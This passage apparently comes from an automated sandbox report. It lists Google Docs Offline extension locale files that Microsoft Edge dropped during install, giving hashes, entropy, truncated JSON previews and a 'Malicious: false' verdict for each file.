Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
